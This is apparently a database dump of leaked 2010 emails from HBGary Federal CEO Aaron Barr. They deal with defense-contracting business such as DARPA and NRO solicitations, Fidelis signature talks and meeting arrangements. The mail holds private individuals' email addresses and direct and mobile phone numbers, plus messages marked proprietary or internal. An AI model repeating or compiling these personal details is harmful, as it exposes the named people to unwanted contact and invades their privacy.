20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',6154,'aaron_hbgary_com/6154.html'),(9409,'2010-08-02','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297007232.M706940P14101Q4264.eml','aaron@hbgary.com','Alarm - ICCS 2010','August 2, 2010 : ICCS 2010 \r\n',4095,'aaron_hbgary_com/4095.html'),(9410,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007232.M954793P14101Q4265.eml','\"David Etue\" <david@etue.net>','Time to talk this morning?','Who is the best person to talk to over at Fidelis about developing signatures for the Fidelis box.  We received some positive input on the Fidelis box during the conference.  I talked to Mary there as well.  The main feedback seems to be very interested but want to see some signatures.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8955,'aaron_hbgary_com/8955.html'),(9411,'2010-08-02','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297007233.M216366P14101Q4266.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Time to talk this morning?','  You around this morning?  On the phone now and have a 9:30 call.  \r\nShould be free around 10.\r\n\r\nSignatures / policies are a good idea - need to approach it carefully \r\ndue to politics.\r\n\r\nDavid\r\n\r\nOn 8/2/2010 9:09 AM, Aaron Barr wrote:\r\n> Who is the best person to talk to over at Fidelis about developing signatures for the Fidelis box.  We received some positive input on the Fidelis box during the conference.  I talked to Mary there as well.  The main feedback seems to be very interested but want to see some signatures.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',10160,'aaron_hbgary_com/10160.html'),(9412,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007233.M427694P14101Q4267.eml','\"David Etue\" <david@etue.net>','Re: Time to talk this morning?','A little birdie told me they are becoming more open to listening.  Give me a call after your 930.\r\n\r\nAaron\r\n\r\nOn Aug 2, 2010, at 9:12 AM, David Etue wrote:\r\n\r\n> You around this morning?  On the phone now and have a 9:30 call.  Should be free around 10.\r\n> \r\n> Signatures / policies are a good idea - need to approach it carefully due to politics.\r\n> \r\n> David\r\n> \r\n> On 8/2/2010 9:09 AM, Aaron Barr wrote:\r\n>> Who is the best person to talk to over at Fidelis about developing signatures for the Fidelis box.  We received some positive input on the Fidelis box during the conference.  I talked to Mary there as well.  The main feedback seems to be very interested but want to see some signatures.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12672,'aaron_hbgary_com/12672.html'),(9413,'2010-08-02','\"Curtis, Colleen A\" <colleen.a.curtis@lmco.com>','/aaron@hbgary.com/new/1297007234.M213923P14101Q4268.eml',',,,','UNO - Duality Task Order Announcement  - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLockheed\r\nMartin Proprietary Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and authorized\r\nindividuals who have executed nondisclosure agreements or who are otherwise\r\nlegally bound by confidentiality obligations to Lockheed Martin. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nGood Morning,\r\n\r\n&nbsp;\r\n\r\nPlease find attached, the Duality Task Order Unclassified\r\nannouncement and Initial Security Information attachment.\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nColleen A. Curtis\r\n\r\nGlobal Supply Chain\r\nManagement\r\n\r\nSubcontract Administrator\r\n\r\nLockheed Martin\r\nInformation Systems &amp; Global Services\r\n\r\nPhone: 703-466-1307\r\n\r\nFAX: 703-466-1270\r\n\r\ne-mail: Colleen.a.curtis@lmco.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16054,'aaron_hbgary_com/16054.html'),(9414,'2010-08-02','arc@westfields.net','/aaron@hbgary.com/new/1297007234.M620275P14101Q4269.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Friday, 07/30/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nUnclassified ARC Efforts\r\n\r\nApps i2S (Announcement & Document Posting)\r\n\r\nIARPA/N/A-Rose (Announcement & Document Posting)\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNGA-ESMARTS (Announcement & Document Posting)\r\n\r\nNGA-Industry Outreach Session 27 July 2010 (Announcement & Document Posting)\r\n\r\nNRO/MOD-Silver Eagle (Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',471,'aaron_hbgary_com/471.html'),(9415,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007234.M866372P14101Q4270.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>','Re: NRO Director\'s Innovation Initiative','Hey Mike,Sorry for the silence. &nbsp;Do you have time to catch lunch this week?AaronOn Jul 30, 2010, at 5:07 PM, MB Toth wrote:Aaron, Ted,Not sure if you\'ve seen the attached BAA, which you can access at https://dii.westfields.net/Just on quick review, there seem to be some interesting opportunities with regard to video game technologies and security capabilities that may be in your area of interest.\r\nLet me know when you might be free for lunch in August, Aaron!Enjoy the summer,\r\nMike\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n&lt;NRO FY2011_BAA_Final.doc&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5222,'aaron_hbgary_com/5222.html'),(9416,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007235.M105139P14101Q4271.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>','Re: Blackhat','I caught up with the team out there.  What a great thing, sending so many people and having the party.  It really creates a bond and feelings of team membership.  I had a great time at the party, although I would have liked to have seen Bob in an Elvis costume.\r\n\r\nI will see you tomorrow at the Breakfast.\r\n\r\nAaron\r\n\r\nOn Jul 30, 2010, at 9:57 AM, Varner, Bill wrote:\r\n\r\n> Aaron,\r\n> \r\n> With everything going on here, it made better sense for me to stay here\r\n> this week, much as I wanted to be part of the action out west.\r\n> \r\n> Nothing about our direction or plans has changed with Larry\'s\r\n> departure...and I would certainly like to continue the discussions also.\r\n> \r\n> The reunion was great. 4 guys who used to spend every minute together\r\n> either playing music or wasting time in other ways still have many of\r\n> the same interests.\r\n> \r\n> Tiffanny, Bob, and John T are @ Defcon if you are still there.\r\n> \r\n> Thanks,  Bill\r\n> \r\n> Bill Varner\r\n> President\r\n> Mission, Cyber & Technology Solutions Group\r\n> ManTech International Corporation\r\n> Office: (703) 674-2778 l Mobile: (703) 475-7909\r\n> Email: Bill.Varner@Mantech.com \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, July 28, 2010 7:14 PM\r\n> To: Varner, Bill\r\n> Subject: Blackhat\r\n> \r\n> Hi Bill,\r\n> \r\n> Are you in Las Vegas?  How did your reunion go?\r\n> \r\n> Interested in continuing our conversation.  Not sure what has changed\r\n> with Larry gone.\r\n> \r\n> Btw, our talk at blackhat on attribution went phenomenally well.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',249,'aaron_hbgary_com/249.html'),(9417,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007235.M367122P14101Q4272.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,','Re: - Save the Date- CINDER Industry Day Workshop','Rich,\r\n\r\nWe had a good conversation with Mudge at Blackhat.  We definitely should plan on attending this.  I have it on my calendar.\r\n\r\nAaron\r\n\r\nOn Jul 28, 2010, at 8:31 AM, Rich Cummings wrote:\r\n\r\n> Don\'t know if you all received this BAA.\r\n> \r\n> -----Original Message-----\r\n> From: DARPA-BAA-10-84 [mailto:DARPA-BAA-10-84@darpa.mil]\r\n> Sent: Monday, July 26, 2010 1:21 PM\r\n> Subject: - Save the Date- CINDER Industry Day Workshop\r\n> \r\n> On behalf of Peiter \"Mudge\" Zatko, we are pleased to announce the\r\n> Cyber-Insider (CINDER) Industry Day Workshop. The Defense Advanced\r\n> Research Projects Agency (DARPA) will host two Proposers\' Day Workshops in\r\n> support of the new DARPA-BAA-10-84, Cyber-Insider (CINDER) program. These\r\n> workshops will be held on both the East and West cost.\r\n> \r\n> The East Cost Proposer\'s Day Workshop: August 31, 2010 at System Planning\r\n> Corporation, 3601 Wilson Blvd, Apt 500, Arlington, VA 22201 from 8:00 AM\r\n> to 5:00 PM (EST). The West Cost Proposer\'s Day Workshop has been\r\n> tentatively scheduled for Sept 2, 2010 in the San Francisco area (more\r\n> details to follow)\r\n> \r\n> Meeting details and registration information will be included in future\r\n> emails.\r\n> \r\n> The CINDER workshops will:\r\n> *	Introduce the program manager\r\n> *	Provide information on the Cyber-Insider Program\r\n> *	Answer questions about working with DARPA\r\n> *	Facilitate meetings with potential partners (and competitors)\r\n> *	Facilitate networking and teaming opportunities\r\n> *	Promote a hacker approach to insider threat detection\r\n> \r\n> The Cyber Insider Threat (CINDER) program will develop novel approaches to\r\n> detect ongoing activities within government and military interest systems\r\n> and networks  that are conducted in support of adversary goals. The goal\r\n> of CINDER will be to greatly increase the accuracy, rate and speed with\r\n> which insider threat missions are detected and impede the ability of\r\n> adversaries to conduct missions undetected within government and military\r\n> interest networks. Attendance to the workshop is not required to propose\r\n> to DARPA-BAA-10-84.\r\n> \r\n> The CINDER Workshop is open to all U.S. Citizens and intended for a wide\r\n> range of potential performers. Interested individuals, consultants, small\r\n> businesses, laboratories, and universities with applicable backgrounds are\r\n> expressly invited.  These workshops are not intended for parties who are\r\n> not interested in bidding or participating on a bidding team, e.g. the\r\n> public or members of the press.\r\n> \r\n> Attendees will be afforded the opportunity to present company overviews,\r\n> discuss their technology expertise, and/or discuss teaming opportunities\r\n> in scheduled presentations at the workshop may request to do so. Attendees\r\n> will also have the opportunity to meet individually with Mr. Peiter\r\n> \"Mudge\" Zatko, the Cyber-Insider Program Manager.\r\n> \r\n> Please feel free to contact us with any questions.\r\n> \r\n> Regards,\r\n> Cyber-Insider Team\r\n> DARPA/STO\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4160,'aaron_hbgary_com/4160.html'),(9418,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007246.M862993P14101Q4273.eml','\"Herchig, John W. CTN1 (C7F)\" <john.herchig@c7f.navy.mil>','Re: presentation','John,\r\n\r\nMaking sure you received the presentation.  I sent it but was in an area that had terrible connectivity so wanted to ensure you received it.  Let me know if I can be of further assistance.  Attached is our datasheet for our Social Media services.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jul 25, 2010, at 5:58 AM, Herchig, John W. CTN1 (C7F) wrote:\r\n\r\n> Sir,\r\n>  \r\n>            I was in attendance at the recent R/B Team Symposium and really enjoyed your presentation on social networking.  I thought it would be on the in the IAD library to view again but as they recently updated the presentations I saw that it was not.  Is there any way to be able to view it again?  I told my boss about the presentation and was hoping to show it to him.  Thank you for your time,\r\n>  \r\n> Very Respectfully,\r\n>  \r\n> CTN1 Herchig, John\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',66,'aaron_hbgary_com/66.html'),(9419,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007248.M348536P14101Q4274.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: Invitation: Brian Christos - Greg Hoglund Dinner Meeting @ Wed Jul 28  10pm - Thu Jul 29, 2010 12am (aaron@hbgary.com)','Sorry to bug you about this but wondering what the status is with USCERT.I am very interested to talk to them about:TMCSocial MediaActive Defense and Fidelis XPS integrationOn Jul 23, 2010, at 5:41 PM, Maria Lucas wrote: more details »Brian Christos - Greg Hoglund Dinner Meeting WhenWed Jul 28 10pm – Thu Jul 29, 2010 12am Eastern TimeWherePalm Restaurant near Caesars  Penny cell phone 408-316-8002 (map)Calendaraaron@hbgary.comWho•Maria Lucas - organizer•Greg Hoglund•Aaron Barr•brian_n._christos@oa.eop.gov•Penny LeavyGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options »Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.&lt;Mail Attachment.ics&gt;&lt;invite.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2179,'aaron_hbgary_com/2179.html'),(9420,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007248.M584660P14101Q4275.eml','\"Tom Conroy\" <tom.conroy@ngc.com>','Follow Up','Hi Tom,\r\n\r\nDo you have time today for me to follow up with you on your meeting?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9318,'aaron_hbgary_com/9318.html'),(9421,'2010-08-02','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297007248.M932094P14101Q4276.eml','aaron@hbgary.com','AFCEA PDC Courses Travel','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	  The AFCEA Educational Foundation&rsquo;s Professional Development Center (PDC) courses, internationally recognized for excellence and taught by world-class instructors, can travel to military organizations and corporations.&nbsp; Let us bring our courses to your location and save you the cost of travel. &nbsp;\r\n    Some of our most requested on-site courses are: \r\n\r\n  Intelligence Support to Cyber Conflict - Course 205 \r\n  DoD Architecture Framework Implementation - Course 503 \r\n  Military Satellite Communications in a Net-Centric Environment - Course 302 \r\n  Government Contracting: Workshop for Engineers, Project Managers, Technical&nbsp;&nbsp;&nbsp;&nbsp; Representatives, Procurement Specialists, Contract Administrators - Course 901 \r\nTo inquire about setting up an on-site course contact Sheila McCoy, Director, Professional Development Center, at smccoy@afcea.org.\r\n    &nbsp;&nbsp;&nbsp;&nbsp; _____________________________________________________________________\r\nFor more PDC course information: \r\nPrint or download our Fall 2010 - Spring 2011 catalog in PDF format at Downloadable PDC Catalog.\r\nThe PDC is now on Facebook.&nbsp; You can visit AFCEA Educational Foundation Professional Development Center and add us to your list of \"likes.\"&nbsp;\r\n\r\n  Subscribe to RSS to get  \r\n\r\n\r\nupdated information about PDC courses  automatically downloaded to your computer.\r\n            For full course descriptions, fees, instructor bios, and to register go to PDC Courses. \r\n            For discounted tuition:&nbsp; If you are not already an AFCEA member and want to take advantage of reduced tuitions for members and other benefits, please go to AFCEA International - The Armed Forces Communications and Electronics Association to become a member.\r\n            _____________________________________________________________________\r\n        \r\n          Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrar at 703-631-6137. \r\n          \r\n        \r\n\r\n\r\n          \r\n  This email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n      \r\n  \r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\n  http://www.afcea.org\r\n\r\n\r\n\r\n  \r\n    \r\n\r\n\r\n\r\n\r\n\r\n',7649,'aaron_hbgary_com/7649.html'),(9422,'2010-08-02','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297007250.M160561P14101Q4277.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: NRO Director\'s Innovation Initiative','Aaron,It would be great to catch up!  Tomorrow is free if it works for you.  Let me see how rest of week holds together.MikeOn Mon, Aug 2, 2010 at 9:21 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Mike,Sorry for the silence.  Do you have time to catch lunch this week?\r\nAaronOn Jul 30, 2010, at 5:07 PM, MB Toth wrote:Aaron, Ted,\r\nNot sure if you&#39;ve seen the attached BAA, which you can access at https://dii.westfields.net/Just on quick review, there seem to be some interesting opportunities with regard to video game technologies and security capabilities that may be in your area of interest.\r\n\r\nLet me know when you might be free for lunch in August, Aaron!Enjoy the summer,\r\nMike\r\n\r\n&lt;NRO FY2011_BAA_Final.doc&gt;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',7402,'aaron_hbgary_com/7402.html'),(9423,'2010-08-02','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297007255.M258133P14101Q4278.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Give me a call when you get a chance','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI want to talk about customer positioning and some of the\r\nother primes in the hunt.\r\n\r\n&nbsp;\r\n\r\nJohn Lovegrove\r\n\r\nDirector\r\n\r\nOffice: (703) 449-3812\r\n\r\nCell: (571) 294-5154\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTASC INTERNAL\r\nDISTRIBUTION ONLY\r\nThis e-mail, including\r\nattachments, is intended for the exclusive use of the person or entity to whom it\r\nis addressed and may contain confidential or privileged information. If the\r\nreader of this e-mail is not the intended recipient or his or her authorized\r\nagent, the reader is hereby notified that any dissemination, distribution or\r\ncopying of this e-mail is prohibited. If you think that you have received this\r\ne-mail in error, please advise the sender by reply e-mail of the error and then\r\ndelete this e-mail immediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4322,'aaron_hbgary_com/4322.html'),(9424,'2010-08-02','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297007256.M273849P14101Q4279.eml','\"Aaron Barr\" <aaron@hbgary.com>','TSA ITSSS RFP Released.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n Aaron,\r\n\r\n&nbsp;\r\n\r\nThought you should see the just released this\r\nmorning TSA RFP (doubled in value to $190m).\r\nCheck in when able and we can discuss further.\r\n\r\n&nbsp;\r\n\r\nBill\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInformation Technology\r\nSecurity Support Services - HSTS03-10-R ...\r\nInformation\r\nTechnology Security Support Services. Solicitation Number: HSTS03-10\r\n-R-CIO552-SOL. Agency: Department of Homeland Security ...\r\nhttps://www.fbo.gov/index?s=opportunity...form...&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14120,'aaron_hbgary_com/14120.html'),(9425,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007257.M47235P14101Q4280.eml','\"Al Pisani\" <albert.pisani@TASC.com>','Customer Meeting','Hi Al,\r\n\r\nI have been thinking about this and here are my thoughts.  My initial idea of you going in to see the customer was a low-key, brief meeting with Mary Beth and John to put an executive face to the new TASC, and talk about TASC being mission focused, agile, capable.  Express our excitement over this opportunity, and we think we are going to be able to provide them with a team unlike any other to exceed their mission goals.  I think going in there with too many people will send the wrong message.  I really enjoy Rays experience and knowledge in operations but his closeness to the organization may come off the wrong way.  I have seen it happen before with this exact group on more than one occasion, both with SAIC and Abraxis.\r\n\r\nI know these folks very well and I really think a big meeting will come off the wrong way.\r\n\r\nLove to hear your thoughts on this.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10067,'aaron_hbgary_com/10067.html'),(9426,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007257.M754229P14101Q4281.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','Re: Introduction','Hey Tim,How did this meeting go?AaronOn Jul 23, 2010, at 1:50 PM, Tim Riesen wrote:\r\nGentlemen - \r\n\r\nAs a follow-up to recent discussions about a potential collaboration opportunity - allow me to introduce everyone. \r\n\r\nChris C. and Aaron – Doug and Chris K. from Ericsson Federal may be able to provide some infrastructure support to the program we are pursuing. &nbsp;\r\n\r\nDoug and Chris K – Chris C. is the capture manager from TASC for the opportunity I mentioned to you. &nbsp;Aaron is the former USG program manager for the initiative. &nbsp;His company, HB Gary, and Archimedes are sub-contractors to TASC.\r\n\r\nIf possible, I’d like to arrange a meeting at TASC HQ next Friday, the 30th at 1000. &nbsp;Let me know if this works for everyone. &nbsp;Provided it works, Doug and Chris will need to have their clearances sent over to TASC. 